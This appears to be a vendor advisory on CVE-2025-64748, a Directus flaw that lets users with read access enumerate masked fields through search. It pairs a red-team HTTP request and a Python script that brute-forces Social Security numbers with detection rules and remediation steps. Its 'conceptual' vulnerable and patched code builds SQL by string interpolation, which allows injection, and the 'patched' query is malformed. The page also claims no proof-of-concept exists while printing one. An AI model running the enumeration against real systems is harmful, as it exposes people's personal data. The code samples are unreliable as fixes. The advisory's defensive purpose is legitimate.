CVE-2025-64748
Executive Summary
CVE-2025-64748 is an information disclosure vulnerability in Directus, a real-time API and App dashboard for managing SQL database content. The flaw allows authenticated users with read permissions to perform enumeration attacks against concealed or sensitive fields. While the actual values of these fields are masked (displayed as ****), the system's search functionality inadvertently reveals whether a search query matches a concealed value. This enables an attacker to brute-force or guess sensitive data, such as Social Security Numbers, credit card numbers, or other personally identifiable information (PII), by observing which records are returned in search results. The vulnerability is present in all versions prior to 11.13.0. The CVSS score is 6.5 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Directus is a Node.js application distributed via npm. The vulnerability exists in the core application logic, not in a third-party dependency. Organizations using Directus should verify their deployment version and update to 11.13.0 or later. There are no known compromised packages or supply chain attacks related to this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account with read permissions.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (L) – Only the existence of a match is revealed, not the actual value.
- Integrity (I): None (N) – Data cannot be modified.
- Availability (A): None (N) – Service availability is not impacted.
Threat Level: Medium. The vulnerability requires authentication and only leaks information about the existence of a match, not the actual value. However, it can be used to enumerate sensitive data, which could lead to further attacks.
Deep Dive & Mechanics
The vulnerability lies in Directus' search functionality. When a user with read permissions performs a search, the system queries the database and returns records that match the search term. For fields marked as "concealed" or "sensitive," the API masks the actual value in the response, replacing it with ****. However, the search filter is applied before the masking occurs. This means that if a search term matches a concealed value, the record is returned, even though the value itself is not displayed.
Attack Scenario:
- An attacker authenticates as a user with read access to a collection containing a concealed field (e.g.,
ssn). - The attacker sends a search request with a guessed value, such as
?search=123-45-6789. - If the SSN exists in the database, the record containing that SSN is returned (with the SSN field masked as
****). - If the SSN does not exist, no records are returned.
- By iterating through possible values, the attacker can enumerate valid SSNs, credit card numbers, or other sensitive data.
Root Cause: The search filter is applied at the database query level, before the response masking logic. The masking only affects the output, not the query.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In the search/filter logic (simplified)
const results = await database.query(
`SELECT * FROM items WHERE ${searchField} LIKE '%${searchTerm}%'`
);
// Masking is applied after the query
const maskedResults = results.map(item => {
if (item.concealedFields.includes('ssn')) {
item.ssn = '****';
}
return item;
});
return maskedResults;
Patched Code (Conceptual):
// In the search/filter logic (simplified)
// The search is now performed on non-concealed fields only
const allowedSearchFields = getNonConcealedFields(collection);
const results = await database.query(
`SELECT * FROM items WHERE ${allowedSearchFields.join(' OR ')} LIKE '%${searchTerm}%'`
);
// Masking is still applied
const maskedResults = results.map(item => {
if (item.concealedFields.includes('ssn')) {
item.ssn = '****';
}
return item;
});
return maskedResults;
The patch ensures that the search query does not include concealed fields in the WHERE clause, preventing the enumeration attack.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid user account with read permissions on a collection containing a concealed field.
- Network access to the Directus API.
Exploitation Steps:
- Identify a concealed field: Review the API documentation or explore the schema to find fields marked as
concealedorsensitive. - Craft a search request: Use the Directus API to search for a guessed value.
GET /items/patients?search=123-45-6789 HTTP/1.1 Host: directus.example.com Authorization: Bearer <valid_token> - Analyze the response:
- If the response contains records, the guessed value exists.
- If the response is empty, the guessed value does not exist.
- Automate enumeration: Use a script to iterate through possible values (e.g., SSN ranges, credit card number prefixes).
import requests import itertools url = "https://directus.example.com/items/patients" headers = {"Authorization": "Bearer <token>"} for ssn in itertools.product(range(10), repeat=9): search_term = f"{ssn[0]}{ssn[1]}{ssn[2]}-{ssn[3]}{ssn[4]}-{ssn[5]}{ssn[6]}{ssn[7]}{ssn[8]}" params = {"search": search_term} response = requests.get(url, headers=headers, params=params) if response.json()["data"]: print(f"Found: {search_term}")
Blue Team
Detection:
- Monitor API logs for excessive search requests from a single user or IP address.
- Look for search queries that appear to be brute-forcing or enumerating values (e.g., sequential numbers, common patterns).
- Alert on searches that return no results but are repeated with slight variations.
Prevention:
- Upgrade to Directus 11.13.0 or later.
- Implement rate limiting on the search endpoint.
- Use a Web Application Firewall (WAF) to block suspicious search patterns.
- Restrict read permissions to only necessary users and collections.
Indicators of Compromise (IOCs)
- Network:
- Repeated
GET /items/*?search=*requests from the same user or IP. - Search queries containing patterns like
XXX-XX-XXXX(SSN format) orXXXX-XXXX-XXXX-XXXX(credit card format).
- Repeated
- Logs:
- High volume of search requests with no results returned.
- Search requests targeting collections with concealed fields.
- System:
- Unusual database query patterns (e.g., many
LIKEqueries on concealed columns).
- Unusual database query patterns (e.g., many
Detection Engineering
YARA Rule
rule CVE_2025_64748_Directus_Enumeration {
meta:
description = "Detects potential enumeration attacks against Directus concealed fields"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-64748"
strings:
$search_pattern = /\/items\/[a-zA-Z]+\?search=[0-9\-]+/
$concealed_field = /"concealed":true/
condition:
$search_pattern and #concealed_field > 0
}
Sigma Rule
title: Directus Concealed Field Enumeration
id: 8f7b3c2a-1d5e-4f6a-9b0c-3d2e1f4a5b6c
status: experimental
description: Detects potential enumeration of concealed fields in Directus
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: directus
detection:
selection:
http.method: GET
http.url|contains: "/items/"
http.url|contains: "?search="
condition: selection
falsepositives:
- Legitimate search queries by authorized users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64748 Directus Concealed Field Enumeration";
flow:to_server,established;
content:"GET"; http_method;
content:"/items/"; http_uri;
content:"?search="; http_uri;
pcre:"/\/items\/[a-zA-Z]+\?search=[0-9\-]+/";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Upgrade Directus to version 11.13.0 or later.
- If upgrade is not possible, disable the search functionality for collections containing concealed fields.
Long-term:
- Implement field-level access controls to ensure that concealed fields are not searchable.
- Use a Web Application Firewall (WAF) to detect and block enumeration attempts.
- Conduct regular security audits of API endpoints and data access patterns.
- Monitor logs for anomalous search behavior.
Workaround:
- Modify the Directus configuration to exclude concealed fields from the search index. This can be done by setting
search: falsein the field configuration.
Valters IT
Securing Digital Frontiers